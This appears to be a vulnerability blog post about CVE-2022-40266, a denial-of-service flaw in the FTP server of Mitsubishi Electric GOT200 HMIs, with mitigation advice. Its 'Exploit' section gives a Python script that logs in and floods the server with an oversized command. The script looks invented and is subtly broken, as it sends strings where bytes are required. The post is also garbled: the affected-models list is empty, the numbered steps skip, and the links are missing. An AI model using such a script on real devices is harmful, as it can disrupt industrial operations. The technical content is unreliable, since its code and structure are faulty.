CVE-2022-40266 - Improper Input Validation Vulnerability in Mitsubishi Electric GOT200 Series leads to Denial of Service (DoS)

A recently discovered vulnerability, identified as CVE-2022-40266, affects Mitsubishi Electric GOT200 Series GT27, GT25, and GT23 models of FTP servers, with versions 01.39.000 and prior. This vulnerability, due to improper input validation, allows a remote authenticated attacker to cause a Denial of Service (DoS) condition by sending specially crafted commands. In this blog post, we will discuss the details of this vulnerability, its potential impact, and recommended mitigation steps.

Vulnerable Systems

The following Mitsubishi Electric GOT200 Series models are known to be affected by this vulnerability:

Vulnerability Details

The vulnerability, classified as CVE-2022-40266, is due to improper input validation within the affected FTP server models. An attacker with remote access and valid credentials can craft a malicious command and send it to the server, thereby causing the server to malfunction, leading to a Denial of Service (DoS) condition. The DoS condition prevents legitimate users from accessing the resources offered by the FTP server, which could impact critical operations of an organization.

Exploit

The exact details of the exploit are undisclosed to prevent unauthorized exploitation. However, once an attacker has valid credentials and is authenticated, they can craft a malicious command similar to the following code snippet:

import socket

# Server IP and port
server_ip = "192.168.1.1"
server_port = 21

# Creating the malicious command
malicious_command = "MALICIOUSCOMMAND" * 1024 + "\r\n"

# Connecting to the FTP server
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((server_ip, server_port))

# Authenticating with valid credentials
ftp_socket.send("USER username\r\n")
ftp_socket.send("PASS password\r\n")

# Sending the malicious command
ftp_socket.send(malicious_command)

Original Reference

The original advisory for this vulnerability can be found here. Further details, including the MITRE Common Vulnerabilities and Exposures (CVE) data, can be accessed here.

Mitigation Recommendations

Mitsubishi Electric is aware of this vulnerability and recommends users and administrators of affected FTP server models to take the following mitigation steps:

Restrict access to the FTP server to authorized users with strong, unique credentials.

3. Implement network segmentation and isolation, allowing only authorized systems to communicate with FTP servers.

Routinely monitor the FTP server logs for any signs of unauthorized access or malicious behavior.

5. Limit the privileges of user accounts on the FTP server to the minimum required for their respective tasks.

Conclusion

CVE-2022-40266 is a critical vulnerability affecting Mitsubishi Electric GOT200 Series GT27, GT25, and GT23 model FTP servers. An attacker with remote access and valid credentials can exploit this vulnerability to cause a Denial of Service (DoS) condition, potentially disrupting business operations. It is highly recommended for users and administrators to follow the mitigation steps outlined in this blog post to protect their systems from this vulnerability.

Timeline

Published on: 11/24/2022 09:15:00 UTC
Last modified on: 11/30/2022 20:02:00 UTC